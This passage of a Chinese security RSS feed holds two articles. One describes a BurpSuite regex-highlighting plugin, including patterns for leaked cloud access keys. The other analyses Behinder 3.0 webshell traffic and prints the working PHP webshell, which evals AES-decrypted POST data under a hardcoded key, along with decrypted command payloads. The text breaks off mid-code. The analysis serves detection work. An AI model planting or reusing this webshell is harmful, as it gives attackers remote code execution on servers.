0px;text-decoration: none; " class="list-paddingleft-2"><li><p>多选项自定义控制适配需求；</p></li><li><p>多颜色高亮分类，将BurpSuite的所有高亮颜色集成：<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">red, orange, yellow, green, cyan, blue, pink, magenta, gray</code>；</p></li><li><p>颜色升级算法：利用下标的方式进行优先级排序，当满足2个同颜色条件则以优先级顺序上升颜色。（例如：<strong>两个正则，颜色为橘黄色，该请求两个正则都匹配到了，那么将升级为红色</strong>）</p></li><li><p>简单的配置文件格式选用JSON格式，格式为<span> </span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">{name: {&#34;loaded&#34;: isLoaded:,&#34;regex&#34;: regexText, &#34;highlight&#34;: isHighlight, &#34;extract&#34;: isExtract, &#34;color&#34;: colorText}}</code></p></li><li><p>内置简单缓存，在“多正则、大数据”的场景下减少卡顿现象。</p></li></ol><h2 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">实际使用</h2><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">使用 RGPerson 生成测试数据（以下为<strong>虚假数据信息</strong>），放入网站根目录文件中：</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><img data-ratio="0.5246252676659529" data-w="934" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=6df4fc05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzdfbV3JufkUcWSsiaUb0CpAbBQE666llJwkIAo0huPBoUYGzAnIMsHsbQHiaXiaichemOfBGFld8fXHQ%2F640%3Fwx_fmt%3Dpng"/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">访问该地址，在<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Proxy - HTTP History</code>中可以看见高亮请求，响应标签页中含有<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">MarkINFO</code>标签，其中将匹配到的信息提取了出来。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><img data-ratio="0.25501432664756446" data-w="2094" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c9ef1ab5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzdfbV3JufkUcWSsiaUb0CpAC8H7l9U19bKYqJUJnMjZleqENxmOWtFq1vu1s0icQoicGm14kUcicgT6A%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><h2 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">正则优化</h2><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">有些正则在实战应用场景中并不理想</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">在正则匹配手机号、身份证号码的时候（纯数字类）会存在一些误报（这里匹配身份证号码无法进行校验，误报率很高），但手机号处理这一块可以解决：</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">原正则：</p><pre style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;border-radius: 0.3em;border-color: rgb(231, 222, 195);border-style: solid;border-width: 1px;line-height: 1.5;font-size: 0.9rem;margin: 0.5em 0px;padding: 1em;color: rgb(101, 123, 131);overflow: auto;background-color: rgb(253, 246, 227);text-align: left;word-spacing: 0px;word-break: normal;overflow-wrap: normal;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;background-image: none;border-color: currentcolor;border-style: none;border-width: medium;font-size: 1em !important;color: rgb(101, 123, 131);text-align: left;word-spacing: normal;word-break: normal;overflow-wrap: normal;line-height: 1.5;">1[3-9]\d{9}<br/></code></pre><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">误报场景：<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">12315188888888123</code>，这时候会匹配到<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">15188888888</code>，而实际上这一段并不是手机号，所以修改正则为：</p><pre style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;border-radius: 0.3em;border-color: rgb(231, 222, 195);border-style: solid;border-width: 1px;line-height: 1.5;font-size: 0.9rem;margin: 0.5em 0px;padding: 1em;color: rgb(101, 123, 131);overflow: auto;background-color: rgb(253, 246, 227);text-align: left;word-spacing: 0px;word-break: normal;overflow-wrap: normal;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;background-image: none;border-color: currentcolor;border-style: none;border-width: medium;font-size: 1em !important;color: rgb(101, 123, 131);text-align: left;word-spacing: normal;word-break: normal;overflow-wrap: normal;line-height: 1.5;">[^0-9]+(1[3-9]\d{9})[^0-9]+<br/></code></pre><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">也就是要求匹配的手机号前后不能为0-9的数字。</p><h2 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">实战用法</h2><ol style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; " class="list-paddingleft-2"><li><p>CMS指纹识别，Discuz正则：<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">(Powered by Discuz!)</code></p></li><li><p>OSS对象存储信息泄露，正则：<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">([A|a]ccess[K|k]ey[I|i]d|[A|a]ccess[K|k]ey[S|s]ecret)</code></p></li><li><p>内网地址信息提取，正则：<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:172\.(?:(?:1[6-9])|(?:2\d)|(?:3[01]))\.\d{1,3}\.\d{1,3})|(?:192\.168\.\d{1,3}\.\d{1,3})</code></p></li><li><p>实战插件关联搭配，漏洞挖掘案例：<a href="https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&amp;mid=2247484323&amp;idx=1&amp;sn=8d058d1577b7b66cb5144ea574ff9aa1&amp;scene=21#wechat_redirect" style="color: rgb(24, 99, 161);" data-linktype="2"><a href="https://mp.weixin.qq.com/s/5vNn7dMRZBtv0ojPBAHV7Q" target="_blank">https://mp.weixin.qq.com/s/5vNn7dMRZBtv0ojPBAHV7Q</a></a><br/>...还有诸多使用方法等待大家去发掘。</p></li></ol><h2 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">文末</h2><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">随笔：正义感是一个不可丢失的东西。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">Github项目地址（BUG、需求、正则欢迎提交）：<a href="https://github.com/gh0stkey/HaE" target="_blank">https://github.com/gh0stkey/HaE</a></p><p><br/></p><p><br/></p>



<p><a href="https://github.com/gh0stkey/HaE">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a3cd0b75&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247483732%26idx%3D1%26sn%3Dcfdadafc6de1e109f9951fb3c2c4eb21%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 14 Sep 2020 16:52:00 +0800</pubDate>
    </item>
    <item>
      <title>冰蝎3.0流量层分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247483672&amp;idx=1&amp;sn=22a6bda8020f9c9e8d9a35138cdbf296</link>
      <description>冰蝎3.0流量层分析，基于PHP示例进行实战分析。</description>
      <content:encoded><![CDATA[<p>
原创 <span>mr.cult</span> <span>2020-08-17 13:07</span> <span style="display: inline-block;"></span>
</p>

<p>冰蝎3.0流量层分析，基于PHP示例进行实战分析。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5c3ff4f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxwBLJneE6UyhYxzja3EF5vtKmCXu7bYUlN6xRKz13CDfnKARjziaXSfmn3QZNfbzgv1tKfBiauFXLsA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><strong><span style="font-family: 宋体;font-size: 20px;">前言</span></strong></p><p><span style="font-size: 16px;">昨天冰蝎Behinder_v3.0 Beta 1发布，相较于冰蝎2.0做了一些修改，咱们先来看一下官方的更新说明：</span></p><p><br/></p><p><span style="font-size: 16px;"><strong>2020.8.16 v3.0Beta 1 更新日志</strong></span></p><p><span style="font-size: 16px;">1.去除动态密钥协商机制，采用预共享密钥，全程无明文交互，密钥格式为md5(&#34;admin&#34;)[0:16]；</span></p><p><span style="font-size: 16px;">2.增加了插件机制，可开发安装自定义扩展插件；</span></p><p><span style="font-size: 16px;">3.UI框架由awt改为javafx，重写了大量逻辑；</span></p><p><span style="font-size: 16px;">4.增强了内网穿透功能，在原有的基于HTTP的socks5隧道基础上，增加了单端口转发功能，可一键将内网端口映射至VPS或者本机端口。</span></p><p><br/></p><p><strong><span style="font-family: 宋体;font-size: 20px;">分析</span></strong><br/></p><p><span style="font-size: 16px;">在流量层，最重要的改动就是修改了原来明文认证密码并生成aes加密key的过程，将webshell连接密码md5加密后取前16位作为加密流量的密钥，脚本端变化（以php为例）：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span></span></code><code><span class="code-snippet_outer">@error_reporting(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">session_start();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> ($_SERVER[<span class="code-snippet__string">&#39;REQUEST_METHOD&#39;</span>] === <span class="code-snippet__string">&#39;POST&#39;</span>)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    $key=<span class="code-snippet__string">&#34;e45e329feb5d925b&#34;</span>;</span></code><code><span class="code-snippet_outer">  $_SESSION[<span class="code-snippet__string">&#39;k&#39;</span>]=$key;</span></code><code><span class="code-snippet_outer">  $post=file_get_contents(<span class="code-snippet__string">&#34;php://input&#34;</span>);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span>(!extension_loaded(<span class="code-snippet__string">&#39;openssl&#39;</span>))</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    $t=<span class="code-snippet__string">&#34;base64_&#34;</span>.<span class="code-snippet__string">&#34;decode&#34;</span>;</span></code><code><span class="code-snippet_outer">    $post=$t($post.<span class="code-snippet__string">&#34;&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span>($i=<span class="code-snippet__number">0</span>;$i&lt;strlen($post);$i++) {</span></code><code><span class="code-snippet_outer">           $post[$i] = $post[$i]^$key[$i+<span class="code-snippet__number">1</span>&amp;<span class="code-snippet__number">15</span>]; </span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">else</span></span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    $post=openssl_decrypt($post, <span class="code-snippet__string">&#34;AES128&#34;</span>, $key);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">    $arr=explode(<span class="code-snippet__string">&#39;|&#39;</span>,$post);</span></code><code><span class="code-snippet_outer">    $func=$arr[<span class="code-snippet__number">0</span>];</span></code><code><span class="code-snippet_outer">    $params=$arr[<span class="code-snippet__number">1</span>];</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">C</span></span>{<span class="code-snippet__keyword">public</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">__invoke</span><span class="code-snippet__params">($p)</span> </span>{<span class="code-snippet__keyword">eval</span>($p.<span class="code-snippet__string">&#34;&#34;</span>);}}</span></code><code><span class="code-snippet_outer">    @call_user_func(<span class="code-snippet__keyword">new</span> C(),$params);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">?&gt;</span></span></code></pre></section><p><span style="font-size: 16px;"></span><span style="font-size: 16px;">可以看到，这里将key写死了，直接使用这个key解密客户端传过来的aes流量，这个key的值是md5之后取前16位的rebeyond，也是冰蝎的默认密码：<br/></span></p><p><span style="font-size: 16px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4959677419354839" data-s="300,640" style="" data-type="png" data-w="496" src="https://wechat2rss.xlab.app/img-proxy/?k=ccf587d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxwBLJneE6UyhYxzja3EF5vtaG5Lctt7nFejNxMgAXxUDESLRRORw4KdKUoqH5m0d7u3QZJ8ZqI6gw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p><span style="font-size: 16px;"><span style="font-family: 宋体;">接下来抓包看一下，在双击添加的</span><span style="font-family: Calibri, sans-serif;">webshell</span><span style="font-family: 宋体;">之后，客户端总共发送了</span><span style="font-family: Calibri, sans-serif;">4</span><span style="font-family: 宋体;">个数据包：<br/></span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.06265060240963856" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=c4df7b61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxwBLJneE6UyhYxzja3EF5vtvUJLGJYGgwnEZd5rtBxKs3TcqRdGfB5Q9MNpthyoUHZDXHoZlXd6Sw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p><span style="font-size: 16px;font-family: 宋体;">我们使用key将流量解密，跟冰蝎2.0一样，解aes后再解一次base64：<br/></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5228915662650603" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=aae5c792&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxwBLJneE6UyhYxzja3EF5vtCXC2Jv3ljDXxzmgoYt1h18pgsnCL6icOgACsTQYeicTh49tJGcHuicjvg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5662650602409639" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=6b6a6e7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxwBLJneE6UyhYxzja3EF5vtibTicOGmXUcKd24JBibLCDlKqNSib3IqN2bcRiaOUt7VFM4AzHTibVbSNbjA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p><span style="font-size: 16px;">解密之后的post数据：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">@error_reporting(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">($content)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  $result = <span class="code-snippet__keyword">array</span>();</span></code><code><span class="code-snippet_outer">  $result[<span class="code-snippet__string">&#34;status&#34;</span>] = base64_encode(<span class="code-snippet__string">&#34;success&#34;</span>);</span></code><code><span class="code-snippet_outer">    $result[<span class="code-snippet__string">&#34;msg&#34;</span>] = base64_encode($content);</span></code><code><span class="code-snippet_outer">    $key = $_SESSION[<span class="code-snippet__string">&#39;k&#39;</span>];</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">echo</span> encrypt(json_encode($result),$key);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">encrypt</span><span class="code-snippet__params">($data,$key)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span>(!extension_loaded(<span class="code-snippet__string">&#39;openssl&#39;</span>))</span></code><code><span class="code-snippet_outer">      {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span>($i=<span class="code-snippet__number">0</span>;$i&lt;strlen($data);$i++) {</span></code><code><span class="code-snippet_outer">           $data[$i] = $data[$i]^$key[$i+<span class="code-snippet__number">1</span>&amp;<span class="code-snippet__number">15</span>]; </span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span> $data;</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">else</span></span></code><code><span class="code-snippet_outer">      {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> openssl_encrypt($data, <span class="code-snippet__string">&#34;AES128&#34;</span>, $key);</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">}$content=<span class="code-snippet__string">&#34;660aeec1-574f-45a6-9936-a27b0a7ce173&#34;</span>;</span></code><code><span class="code-snippet_outer">main($content);</span></code></pre></section><section><span style="font-size: 16px;">可以将此包理解为key的认证包，如果服务端返回了加密后的<strong>660aeec1-574f-45a6-9936-a27b0a7ce173</strong>，那么认证成功，进入后续流程</span></section><section><span style="font-size: 16px;">第二个包和2.0一样，会获取一些基本的信息，在php中，执行的就是<strong>phpinfo()<br/></strong></span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5301204819277109" data-s="300,640" style="" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=ebcde6e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxwBLJneE6UyhYxzja3EF5vticNfTLPbMagSo0ALpVWoTLKNYricEUlz2bF6eCQicd2DMNMJVse9lOwcw%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 16px;">第三个和第四个包发送的数据一致，作用是查看当前 web 目录下的文件</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">($mode, $path = <span class="code-snippet__string">&#34;.&#34;</span>, $content = <span class="code-snippet__string">&#34;&#34;</span>, $charset = <span class="code-snippet__string">&#34;&#34;</span>,$newpath)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  ...</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">encrypt</span><span class="code-snippet__params">($data,$key)</span></span></span></code><code><span 